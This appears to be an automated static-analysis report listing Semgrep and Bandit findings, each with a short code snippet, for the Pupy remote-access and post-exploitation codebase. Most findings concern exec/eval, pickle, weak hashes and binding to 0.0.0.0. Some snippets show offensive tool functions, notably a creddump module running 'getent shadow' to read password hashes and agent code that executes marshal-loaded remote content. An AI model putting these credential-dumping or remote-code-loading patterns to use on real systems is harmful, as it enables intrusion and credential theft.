- Yes, 50% confidence
Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
exec (marshal.loads(bytes(content)), dst) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/agent/__init__.py line 552
- Likely real
- Yes, 50% confidence
Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
exec (code, mod.__dict__) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/agent/service.py line 633
- Likely real
- Yes, 50% confidence
Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
exec(scriptlet) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCredentials.py line 699
- Likely real
- Yes, 50% confidence
Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
exec(content, self._credentials) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/scriptlets/__init__.py line 348
- Likely real
- Yes, 50% confidence
Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
exec (metadata, metadict) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/agent/service.py line 281
- Likely real
- Uncertain, 50% confidence
Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
return eval(text, self.exposed_namespace) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/rpc/utils/classic.py line 234
- Likely real
- Uncertain, 50% confidence
Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
return eval(text, self.namespace) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/packages/windows/all/isearch.py line 49
- Likely real
- Uncertain, 50% confidence
Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
code = eval(parts[0])[1].decode(encoding) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PythonCompleter.py line 64
- Likely real
- Uncertain, 49% confidence
Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
thisobject = eval(expr, self.global_ns, self.local_ns) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/edit.py line 52
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
51 content = fgetcontent(args.remote_file) 52 h1 = hashlib.md5(content).digest() 53 local.write(content) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/picocmd/server.py line 665
- Likely real
- Uncertain, 49% confidence
Use of weak SHA1 hash for security. Consider usedforsecurity=False
664 def encode_pastelink_content(self, content, version=ENCODER_V2): 665 h = hashlib.sha1() 666 h.update(content) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/transports/websocket.py line 367
- Likely real
- Uncertain, 49% confidence
Use of weak SHA1 hash for security. Consider usedforsecurity=False
366 GUID = b'258EAFA5-E914-47DA-95CA-C5AB0DC85B11' 367 hsh = sha1(key + GUID) 368 return base64.b64encode(hsh.digest()).strip() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/transports/dfws/conf.py line 49
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
48 'host': None, 49 'path': '/ws/' + ''.join(md5(PATH_GEN_SECRET+b"dfws").hexdigest()[:8]), 50 'user-agent': DEFAULT_USER_AGENT -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/transports/dfws/conf.py line 54
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
53 self.server_transport_kwargs.update({ 54 'path': '/ws/' + ''.join(md5(PATH_GEN_SECRET+b"dfws").hexdigest()[:8]), 55 'user-agent': DEFAULT_USER_AGENT -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/transports/ws/conf.py line 46
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
45 'host': None, 46 'path': '/ws/' + ''.join(md5(PATH_GEN_SECRET+b"ws").hexdigest()[:8]), 47 'user-agent': DEFAULT_USER_AGENT -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/transports/ws/conf.py line 51
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
50 self.server_transport_kwargs.update({ 51 'path': '/ws/' + ''.join(md5(PATH_GEN_SECRET+b"ws").hexdigest()[:8]), 52 'user-agent': DEFAULT_USER_AGENT -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/ad.py line 1039
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
1038 dump_requests = { 1039 'custom_' + md5(filter).hexdigest(): LDAPLargeRequest(filter) 1040 } -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/picocmd/server.py line 326
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
325 parts = struct.unpack( 326 'BBBB', hashlib.md5( 327 seed + activation[seed] + key).digest()[:4] 328 ) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/picocmd/client.py line 484
- Likely real
- Uncertain, 49% confidence
Use of weak SHA1 hash for security. Consider usedforsecurity=False
483 chash, content = content[:20], content[20:] 484 h = hashlib.sha1() 485 h.update(content) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/odbc.py line 323
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
322 now = str(datetime.now()) 323 digest = md5(now + query).hexdigest() 324 output = config.get_file('odbc', { -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/edit.py line 77
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
76 content = local.read() 77 h2 = hashlib.md5(content).digest() 78 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/library_patches_py2/uuid.py line 857
- Likely real
- Uncertain, 49% confidence
Use of weak SHA1 hash for security. Consider usedforsecurity=False
856 from hashlib import sha1 857 hash = sha1(namespace.bytes + name).digest() 858 return UUID(bytes=hash[:16], version=5) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/pupyutils/psexec.py line 1344
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
1343 log_cb(None, 'Thread started (pipe={}, payload={}, md5={})'.format( 1344 loader_pipename, size, md5(payload).hexdigest())) 1345 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/ssh.py line 1356
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
1355 key = ssh_conn.get_remote_server_key() 1356 key_md5 = md5(str(key)).hexdigest() 1357 fingerprint = ':'.join( -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/windows/all/powerloader.py line 62
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
61 log_cb(None, 'Thread started (pipe={}, payload={}, md5={})'.format( 62 pipename, size, md5(payload).hexdigest())) 63 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCredentials.py line 176
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
175 while len(d) < key_length + iv_length: 176 d_i = md5(d_i + self.password + salt).digest() 177 d += d_i -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/utils/jarsigner.py line 41
- Likely real
- Uncertain, 49% confidence
Use of weak SHA1 hash for security. Consider usedforsecurity=False
40 content = infile.read(name) 41 digest = sha1(content) 42 outfile.writestr(name, content) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/utils/jarsigner.py line 51
- Likely real
- Uncertain, 49% confidence
Use of weak SHA1 hash for security. Consider usedforsecurity=False
50 sf_record = 'Name: {}\r\nSHA1-Digest: {}\r\n\r\n'.format( 51 name, b64encode(sha1(manifest_record).digest()) 52 ) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/utils/jarsigner.py line 62
- Likely real
- Uncertain, 49% confidence
Use of weak SHA1 hash for security. Consider usedforsecurity=False
61 '\r\n'.format( 62 b64encode(sha1(MANIFEST_MF).digest()), 63 SHA1_MAIN_ATTRIBUTES -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/scriptlets/persistence.py line 39
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
38 39 mid = md5('node={} cid={}'.format( 40 getnode(), pupy.cid)).hexdigest() 41 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/library_patches_py2/uuid.py line 833
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
832 from hashlib import md5 833 hash = md5(namespace.bytes + name).digest() 834 return UUID(bytes=hash[:16], version=3) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/agent/utils.py line 49
- Likely real
- Uncertain, 49% confidence
Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.
module = pickle.loads(pkdic) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/conf.py line 28
- Likely real
- Uncertain, 49% confidence
Untrusted user input in `importlib.import_module()` function allows an attacker to load arbitrary code. Avoid dynamic values in `importlib.import_module()` or use a whitelist to prevent running untrusted code.
confmodule = importlib.import_module( 'pupy.network.transports.{}.conf'.format(module_name)) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/payloads/dependencies.py line 935
- Likely real
- Uncertain, 49% confidence
Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.
pickle.dumps(modules, 2), 9 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/payloads/dependencies.py line 382
- Likely real
- Uncertain, 49% confidence
Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.
blob = pickle.dumps(modules, 2) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/rpc/utils/classic.py line 159
- Likely real
- Uncertain, 49% confidence
Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.
pickle.dumps(localobj, 2)) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/rpc/utils/classic.py line 143
- Likely real
- Uncertain, 49% confidence
Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.
return pickle.loads(pickle.dumps(proxy, 2)) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/rpc/utils/classic.py line 143
- Likely real
- Uncertain, 49% confidence
Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.
return pickle.loads(pickle.dumps(proxy, 2)) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/rpc/core/protocol.py line 820
- Likely real
- Uncertain, 49% confidence
Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.
return pickle.dumps(self._local_objects[oid], proto) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/agent/pstore.py line 111
- Likely real
- Uncertain, 49% confidence
Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.
data = pickle.loads(data) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/agent/pstore.py line 129
- Likely real
- Uncertain, 49% confidence
Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.
data = pickle.dumps(self._pstore) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/utils/jarsigner.py line 30
- Likely real
- Uncertain, 48% confidence
Use of weak SHA1 hash for security. Consider usedforsecurity=False
29 30 SHA1_MAIN_ATTRIBUTES = b64encode(sha1(MANIFEST_MF).digest()) 31 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/transports/cryptoutils/sha.py line 25
- Likely real
- Uncertain, 48% confidence
Use of weak SHA1 hash for security. Consider usedforsecurity=False
24 def new(*args): 25 return sha1(*args) 26 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/agent/pstore.py line 72
- Likely real
- Uncertain, 48% confidence
Use of weak SHA1 hash for security. Consider usedforsecurity=False
71 72 h = hashlib.sha1() 73 h.update(b'password' + seed) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/agent/pstore.py line 54
- Likely real
- Uncertain, 48% confidence
Use of weak SHA1 hash for security. Consider usedforsecurity=False
53 54 h = hashlib.sha1() 55 h.update(seed) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/odbc.py line 252
- Likely real
- Uncertain, 47% confidence
Possible SQL injection vector through string-based query construction.
251 def describe(cursor, table): 252 cursor.execute('SELECT * FROM {} WHERE 1=0'.format(table)) 253 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/odbc.py line 295
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
294 295 query = 'SELECT count(*) FROM ' + ' '.join(args.query) 296 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/isearch.py line 63
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
62 else: 63 request.append('SELECT TOP {} System.ItemUrl, System.Size, System.DateModified FROM SYSTEMINDEX'.format(args.limit)) 64 where = [] -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/webstatic/nginx_index.html line 19
- Likely real
- Uncertain, 45% confidence
This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible.
<a href="http://nginx.org/">nginx.org</a>.<br/> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/webstatic/nginx_index.html line 21
- Likely real
- Uncertain, 45% confidence
This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible.
<a href="http://nginx.com/">nginx.com</a>.</p> -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/creddump.py line 131
- Likely real
- Uncertain, 45% confidence
Function call with shell=True parameter identified, possible security issue.
130 with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd: 131 for line in rsubprocess.check_output('getent passwd', shell=True).split('\n'): 132 if not line: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/creddump.py line 143
- Likely real
- Uncertain, 45% confidence
Function call with shell=True parameter identified, possible security issue.
142 with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow: 143 for line in rsubprocess.check_output('getent shadow', shell=True).split('\n'): 144 if not line: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/lib/utils/shell_exec.py line 27
- Likely real
- Uncertain, 45% confidence
Function call with shell=True parameter identified, possible security issue.
26 stdin = subprocess.PIPE, 27 shell = True, 28 universal_newlines = True, 29 env=env 30 ) 31 else: 32 if client.is_windows(): 33 command=[shell, '/c', cmdline] 34 else: 35 command=[shell, '-c', cmdline] -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/lock_screen.py line 29
- Likely real
- Uncertain, 45% confidence
Function call with shell=True parameter identified, possible security issue.
28 '/System/Library/CoreServices/Menu Extras/User.menu/Contents/Resources/CGSession -suspend', 29 stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True) 30 31 if ok: 32 self.success("windows locked") -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/privesc_checker.py line 43
- Likely real
- Uncertain, 45% confidence
Function call with shell=True parameter identified, possible security issue.
42 self.success("Lineum script started...") 43 p = self.client.conn.modules.subprocess.Popen(code, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True, executable=args.shell) 44 output, err = p.communicate() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/shell_exec.py line 56
- Likely real
- Uncertain, 45% confidence
Function call with shell=True parameter identified, possible security issue.
55 self.terminate, get_data = check_output( 56 cmdline, shell=not args.no_shell, encoding=args.codepage, suid=args.set_uid) 57 except Exception as e: 58 self.error( -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCredentials.py line 714
- Likely real
- Uncertain, 45% confidence
Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.
return env[key] -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCredentials.py line 717
- Likely real
- Uncertain, 45% confidence
Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.
return env['DEFAULT_{}'.format(key)] -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /pupy/external/creddump7/framework/newobj.py line 57
- Likely real
- Uncertain, 45% confidence
Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.
return globals()[name](name,address,space) -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 25
- Likely real
- Uncertain, 41% confidence
Unpinned dependency: 'requests' has no version lock — supply chain risk
requests -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PythonCompleter.py line 64
- Likely real
- Uncertain, 41% confidence
Use of possibly insecure function - consider using safer ast.literal_eval.
63 try: 64 thisobject = eval(expr, self.global_ns, self.local_ns) 65 except NameError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/windows/all/isearch.py line 49
- Likely real
- Uncertain, 41% confidence
Use of possibly insecure function - consider using safer ast.literal_eval.
48 49 code = eval(parts[0])[1].decode(encoding) 50 error = '\n'.join(parts[1:]) + '\n' + code -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/rpc/utils/classic.py line 234
- Likely real
- Uncertain, 41% confidence
Use of possibly insecure function - consider using safer ast.literal_eval.
233 def eval(self, text): 234 return eval(text, self.namespace) 235 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/agent/service.py line 281
- Likely real
- Uncertain, 41% confidence
Use of possibly insecure function - consider using safer ast.literal_eval.
280 """evaluate arbitrary code (using ``eval``)""" 281 return eval(text, self.exposed_namespace) 282 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyCredentials.py line 699
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
698 else: 699 exec(content, self._credentials) 700 for key in tuple(self._credentials): -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/compat.py line 46
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
45 46 exec('''def execute(code, globals = None, locals = None): 47 exec code in globals, locals''') 48 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/agent/__init__.py line 552
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
551 code = compile(self.contents, mod.__file__, 'exec') 552 exec (code, mod.__dict__) 553 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/agent/service.py line 633
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
632 try: 633 exec(scriptlet) 634 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/launchers/dnscnc.py line 97
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
96 try: 97 exec(content) 98 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/agent/__init__.py line 346
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
345 try: 346 exec (marshal.loads(bytes(content)), dst) 347 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/scriptlets/__init__.py line 348
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
347 metadict = {} 348 exec (metadata, metadict) 349 del metadict['__builtins__'] -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/compat.py line 29
- Likely real
- Uncertain, 39% confidence
Use of exec detected.
28 if is_py3k: 29 exec('execute = exec') 30 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /services/proxy/streams.go line 16
- Likely real
- Uncertain, 39% confidence
Do not use `math/rand`. Use `crypto/rand` instead.
"math/rand" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/last.py line 90
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
89 record['duration'] = timedelta(seconds=int(record['duration'])) 90 record['ip'] = '' if record['ip'] == '0.0.0.0' else record['ip'] 91 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/forward.py line 316
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
315 local.register_virtual_port(virt_port, _create_virtual_connection) 316 remote.bind(id, local_address=('0.0.0.0', virt_port), 317 forward=('254.254.254.254', virt_port)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/utils/listener.py line 90
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
89 addr = ipaddr['addr'] 90 if addr not in ('127.0.0.1', '0.0.0.0'): 91 LISTENER_IP_LOCAL = addr -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyServer.py line 745
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
744 except Exception: 745 client_ip, client_port = '0.0.0.0', 0 746 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyServer.py line 218
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
217 self.external = str(IPAddress(extip)) 218 elif self.address and self.address not in ('0.0.0.0', '::'): 219 self.external = self.address -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyDnsCnc.py line 263
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
262 return self.add_command( 263 SetProxy('any', '0.0.0.0', 0), 264 session=node, default=default -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyDnsCnc.py line 258
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
257 return self.add_command( 258 SetProxy('none', '0.0.0.0', 0), 259 session=node, default=default -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/pyuvproxy.py line 336
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
335 if isinstance(bind, ints): 336 bind = ('0.0.0.0', bind) 337 elif isinstance(bind, tuple): -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/netmon.py line 142
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
141 candidate in known_listeners_tcp for candidate in ( 142 local, ('::', local[1]), ('0.0.0.0', local[1]), 143 ('127.0.0.1', local[1]), '::ffff:127.0.0.1', local[1])): -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/packages/all/netmon.py line 131
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
130 candidate in known_listeners_udp for candidate in ( 131 local, ('::', local[1]), ('0.0.0.0', local[1]), 132 ('127.0.0.1', local[1]), '::ffff:127.0.0.1', local[1])): -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/socks.py line 1168
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
1167 # address so that packets are received from any peer 1168 if dest_addr == "0.0.0.0" and not dest_port: 1169 self.proxy_peername = None -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/picocmd/server.py line 1422
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
1421 class DnsCommandServer(object): 1422 def __init__(self, handler, port=5454, address='0.0.0.0'): 1423 self.handler = handler -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/picocmd/picocmd.py line 567
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
566 if external_ip is not None: 567 if external_ip in ['0.0.0.0', u'0.0.0.0', 0, netaddr.IPAddress('0.0.0.0')]: 568 self.external_ip = None -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/picocmd/picocmd.py line 567
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
566 if external_ip is not None: 567 if external_ip in ['0.0.0.0', u'0.0.0.0', 0, netaddr.IPAddress('0.0.0.0')]: 568 self.external_ip = None -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/picocmd/picocmd.py line 567
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
566 if external_ip is not None: 567 if external_ip in ['0.0.0.0', u'0.0.0.0', 0, netaddr.IPAddress('0.0.0.0')]: 568 self.external_ip = None -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/launchers/bind.py line 32
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
31 cls.arg_parser.add_argument('--port', metavar='<port>', type=int, required=True, help='the port to bind on') 32 cls.arg_parser.add_argument('--host', metavar='<ip>', default='0.0.0.0', help='the ip to listen on (default 0.0.0.0)') 33 cls.arg_parser.add_argument('--oneliner-host', metavar='<ip>', help='the ip of the target (for ps1_oneliner launcher only)') -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/igd.py line 122
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
121 self, 122 bindIP='0.0.0.0', 123 ctrlURL=None, 124 service="WANIPC", 125 edebug=False, 126 pprint=False, 127 timeout=2.0, 128 available=True): 129 """ 130 - intIP is the source address of the request packet, which implies the source interface -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/modules/igd.py line 230
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
229 help='enable xml pretty output for debug and custom action') 230 parser.add_argument('-s', '--source', default='0.0.0.0', 231 help='source address of requests') -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/network/lib/socks.py line 505
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
504 505 self.proxy_sockname = ("0.0.0.0", 0) # Unknown 506 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/pupylib/PupyDnsCnc.py line 390
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
389 390 listen = str(config.get('pupyd', 'address') or '0.0.0.0') 391 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /pupy/agent/memimporter/linux.py line 27
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
